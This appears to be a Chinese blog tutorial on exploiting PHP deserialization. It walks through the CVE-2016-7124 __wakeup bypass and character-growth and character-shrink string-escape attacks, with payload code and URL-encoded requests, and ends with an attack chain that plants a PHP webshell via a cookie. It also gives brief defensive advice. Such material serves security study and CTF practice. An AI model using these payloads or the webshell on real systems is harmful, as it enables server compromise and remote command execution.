当前位置: 首页 > news >正文

PHP反序列化漏洞实战:从CVE-2016-7124绕过到字符串逃逸利用

1. PHP反序列化漏洞基础认知

第一次接触PHP反序列化漏洞时,我和大多数新手一样满头雾水——为什么一段看似无害的序列化数据能导致服务器沦陷?这得从PHP处理对象的方式说起。想象你有个快递包裹(对象),序列化就是把它拆成零件清单(字符串),反序列化则是按清单重新组装。问题就出在这个"组装车间"没有严格质检,导致恶意构造的"零件清单"能混入危险品。

三种属性类型在序列化时的表现差异尤为关键:

  • 公有属性(public)直接显示:s:4:"name";s:5:"admin";
  • 私有属性(private)带类名标记:s:14:"%00Name%00username";
  • 受保护属性(protected)带星号:s:7:"%00*%00password";

我曾用这个简单代码测试属性差异:

class User { public $name = 'public'; private $secret = 'private'; protected $token = 'protected'; } echo serialize(new User()); // 输出:O:4:"User":3:{s:4:"name";s:6:"public";s:12:"%00User%00secret";s:7:"private";s:7:"%00*%00token";s:9:"protected";}

2. CVE-2016-7124绕坑实战

这个经典漏洞的利用条件就像玩密室逃脱:需要同时满足三个机关:

  1. PHP版本在5.6.25/7.0.10之前
  2. 存在可控的unserialize()参数
  3. 目标类同时存在__wakeup()和危险魔术方法

去年复现某CTF题时遇到典型场景:题目用__wakeup()重置管理员权限,但__destruct()里有读取flag的操作。我的绕过步骤如下:

  1. 常规序列化payload:
class Admin { private $level = 'super'; } echo serialize(new Admin()); // 输出:O:5:"Admin":1:{s:11:"%00Admin%00level";s:5:"super";}
  1. 修改属性数量实现绕过:
// 把":1"改为":2" $payload = 'O:5:"Admin":2:{s:11:"%00Admin%00level";s:5:"super";}';
  1. 用Burp Suite发送时注意URL编码:
select=O%3A5%3A%22Admin%22%3A2%3A%7Bs%3A11%3A%22%00Admin%00level%22%3Bs%3A5%3A%22super%22%3B%7D

踩过的坑:Windows环境下直接复制%00会丢失,必须用PHP的urlencode()处理。有次比赛就因这个细节卡了半小时,后来改用Python的urllib.parse.quote才解决。

3. 字符串逃逸的两种攻击姿势

字符串逃逸就像玩拼图时故意多带几块碎片,利用过滤函数改变字符串长度的特性,让系统错误拼接数据。常见于replace()、addslashes()等函数处理序列化数据时。

3.1 字符增多型逃逸

某次渗透测试遇到这样的过滤:

function filter($data) { return str_replace('shit', 'flower', $data); }

利用步骤分解:

  1. 计算替换差额:'flower'比'shit'多3字符
  2. 确定逃逸目标位置后的字符数(例如30)
  3. 构造payload时需要覆盖的字符数 = 差额 × 重复次数
    $pad = str_repeat('shit', 10); // 10次×3字符=30差额 $payload = '...s:4:"data";s:40:"'.$pad.'";s:2:"id";s:1:"1"...';

实际案例中,通过精心计算可以让系统把s:2:"id"这部分误认为前一个属性的值,从而注入新属性。

3.2 字符减少型逃逸

更隐蔽的是字符被缩短的情况,比如:

function filter($data) { return str_replace('admin', 'user', $data); }

构造技巧:

  1. 计算每个替换减少2字符(5→3)
  2. 需要补充的字符数 = 减少数 × 替换次数
  3. 在payload尾部追加额外属性:
    $pad = str_repeat('admin', 15); // 15次×2=30字符缺口 $exploit = '";s:7:"newprop";s:6:"hacker";}'; $payload = '...s:4:"user";s:75:"'.$pad.$exploit.'...';

这种攻击就像玩俄罗斯方块,利用消除行造成的空隙插入恶意代码。我在某次红队行动中,就用这种方法绕过WAF成功覆盖了关键配置变量。

4. 综合攻击链构建实战

去年某真实靶场的完整攻击流程值得分享:

  1. 信息收集发现phpinfo页面显示PHP 5.6.18

  2. 源码审计找到可控的unserialize($_COOKIE['data'])

  3. 目标类结构分析:

    class Logger { private $logFile; function __wakeup() { $this->logFile = '/tmp/default.log'; } function __destruct() { file_put_contents($this->logFile, $this->msg); } }
  4. 分步攻击:

    • 先用CVE-2016-7124绕过__wakeup()
    • 通过字符串逃逸注入恶意logFile路径
    • 组合payload:
      class Logger { private $logFile = '/var/www/html/shell.php'; private $msg = '<?php system($_GET[cmd]);?>'; } $payload = str_replace(':1:', ':2:', serialize(new Logger()));
  5. 最终通过cookie提交payload,成功写入webshell。这个案例完美展示了如何串联多个技术点形成完整攻击链。

关键防御建议:

  • 始终使用最新PHP版本
  • 对反序列化数据严格校验
  • 避免魔术方法中包含敏感操作
  • 使用json_encode()替代serialize()
http://www.jsqmd.com/news/653155/

相关文章:

  • 2026中国GEO行业生态友好发展白皮书
  • MySQL 主从复制延迟问题
  • JavaScript 微任务与宏任务完全指南
  • 敏捷开发失效了?2026年新方法论探索
  • 做中后台业务,为什么我不建议你用 Tailwind CSS?
  • 初次使用降AI工具的完整入门教程:从零开始用嘎嘎降AI达标
  • Android应用如何精准识别并屏蔽主流模拟器运行环境
  • 哔哩下载姬DownKyi:如何免费解锁B站全画质视频下载的终极方案
  • AI客服机器人爆发前夜,你还在用2023版对话引擎?——2026奇点大会6项强制合规新规倒计时47天
  • 下一代软件:告别 GUI,CLI 底层革命
  • 图解 RAG:为什么大模型需要外挂知识库
  • 【JVM深度解析】第01篇:JVM前世今生与技术架构全景
  • 5G NR调度器:从帧结构到资源分配的实战解析
  • Cadence Virtuoso导入TSMC 65nm PDK保姆级避坑指南:从解压到仿真成功全流程
  • 2026 年两款服务器面板内存占用测试:宝塔面板和 1Panel 表现如何
  • GB/T 13123-2026 竹胶合板检测
  • 免费论文AIGC检测使用指南:原理实操全攻略
  • 扫普通链接二维码打开小程序页面参数获取
  • 开发者面试内卷:突出重围的差异化战术
  • 实战解析 | Workbench多单元混合建模在静力学分析中的高效应用
  • 当AI学会害怕和好奇——V4认知与情绪
  • 五大Web GIS地图框架深度对比:Leaflet、OpenLayers、Mapbox、Cesium与ArcGIS for JavaScript
  • 多益网络笔试里的Python哲学题怎么答?‘Explicit is better than implicit’对新手程序员意味着什么?
  • Cursor Pro激活技术深度解析:3大核心技术实现与实战指南
  • 如何用Jasminum插件3分钟搞定中文文献管理:Zotero终极效率提升指南
  • 【JVM深度解析】第02篇:类加载机制深度解析
  • DelphiZXingQRCode 实战:从零到一构建企业级二维码生成模块
  • OpenClaw Windows 一键部署全流程|解压即装+环境免配置,龙虾AI智能体本地快速落地
  • openEuler 22.03下5分钟搞定Docker安装与镜像加速(华为云镜像源实测)
  • 避开Matlab新手必踩的坑:空值判断的正确姿势(为什么a==[]永远返回false)